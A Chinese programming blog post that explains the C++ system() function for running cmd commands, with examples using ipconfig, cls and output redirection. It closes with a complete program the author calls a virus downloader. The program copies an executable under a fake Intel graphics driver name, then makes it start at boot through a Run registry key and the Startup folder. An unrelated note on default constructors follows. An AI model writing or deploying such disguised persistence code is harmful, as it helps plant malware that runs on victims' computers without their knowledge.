c++system函数————一个函数打天下!

system函数,即DOS(磁盘操作系统)。也就是说,凡是能在cmd下运行的命名,都可以用system实现!

函数原型:int    __cdecl system(const char *);

头文件:#include<cstdlib> 

许多人认为头文件是windows.h,不过windows.h只能在视窗系统下编译

 传入const char*类型的cmd命令,即可执行相应命令。

例如,如果想执行cmd命令“ipconfig”,只要这样写即可:system("ipconfig");

还有常见的清空输出、按任意键继续就可以写成system("cls");system("pause");

打开文件还可以写成system("文件路径");

不过system函数可不止这些功能。所有cmd命令他都可以执行。常见命令可以参考Windows CMD常用命令大全(值得收藏)_风口IT猪的成长录-CSDN博客_cmd指令大全指令icon-default.png?t=L9C2https://blog.csdn.net/qq_46092061/article/details/119849648?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163504378716780271594554%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163504378716780271594554&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-119849648.first_rank_v2_pc_rank_v29&utm_term=cmd%E5%91%BD%E4%BB%A4%E5%A4%A7%E5%85%A8&spm=1018.2226.3001.4187

你们敢相信吗,我曾经为了复制一个文件废了好几个小时来学习文件二进制读写,最后才发现直接用copy命令就行了……

对于想要获取执行的cmd命令的输出 ,比较方便的方法就是用“>>“将输出的命令放到文件中,再从文件中读取即可:

#include<cstdlib>
#include<fstream>
#include<iostream>
int main(){
	std::ofstream out;
	out.open("C:\\a.txt");//用文件输出流创建文件
	out.close();//关闭输出流
	system("ipconfig>>C:\\a.txt");//执行cmd命令ipconfig,并将输出结果放到a.txt文件中
	std::ifstream in;
	in.open("C:\\a.txt");//打开文件输入流,指向a.txt
	char a;
	while(in>>a)std::cout<<a; 
	system("pause");
	return 0;
}

知道为什么我说system可以打天下吗?因为它还有这样的功能:

reg add————修改注册表项(即可添加开机自启动项)

ipconfig————获取电脑ip

shutdown -s -t x————x秒后关机

shutdown -r -t x————x秒后重启

shutdown -l -t x————x秒后注销

所以,我们可以写一个病毒的下载器:

#include<bits/stdc++.h>
#include<windows.h>
#include <unistd.h>
#define PATH_SIZE 255
using namespace std;
int main(){
	char c[PATH_SIZE];
    if(!getcwd(c,PATH_SIZE)){ 
        cout<<"无法找到所在位置"<<endl;
        return 0;
    }
    string path=c;
    string a,b;
    a="copy \"";
    b="\\病毒.exe\" D:\\IntelHDGraphicsDriversforWindows(R).exe";
    a=a+c+b;
    system(a.data());
    system("reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Path /t REG_SZ /d ^D:\\IntelHDGraphicsDriversforWindows(R).exe^ /f");
    a="copy D:\\IntelHDGraphicsDriversforWindows(R).exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\IntelHDGraphicsDriversforWindows(R).exe\"";
    system(a.data());
    Sleep(10000); 
	return 0;
}

也就是把病毒.exe文件添加开机自启。知道system函数的强大与危险了吗?知道了就点个赞吧~

  • 4
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
C++ 默认构造函数是在没有显式定义构造函数的情况下自动生成的特殊成员函数。它通常用于在创建对象时进行初始化操作。默认构造函数无参数,不接受任何实参。当我们通过调用类的构造函数来创建对象时,如果没有提供实参,则编译器会自动调用默认构造函数。 默认构造函数的作用是确保对象的所有成员变量都被正确初始化。例如,如果一个类有一个int类型的成员变量,那么在默认构造函数中,可以将该成员变量初始化为0。如果没有默认构造函数,当我们创建对象时,该成员变量可能会未被初始化,导致程序运行时出现意外结果。 另一个重要的地方是,当我们定义了类的其他构造函数时(比如有参数的构造函数),默认构造函数依然会被生成。这是因为在某些情况下,我们可能只想使用默认构造函数来创建对象,而不希望传递实参。此时,默认构造函数就能满足需求。当我们重载构造函数时,可以使用默认参数来实现默认构造函数的功能。 需要注意的是,默认构造函数在一些特殊情况下可能不会被生成。例如,如果我们显式定义了有参数的构造函数,但没有提供默认构造函数,那么编译器将不会自动生成默认构造函数,这意味着我们不能再使用无参的方式来创建对象。 总之,理解C++默认构造函数的作用和用法对于编写高质量的代码至关重要。它可以帮助我们确保对象的正确初始化,并且在一些特殊情况下可以提供方便的使用方式。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值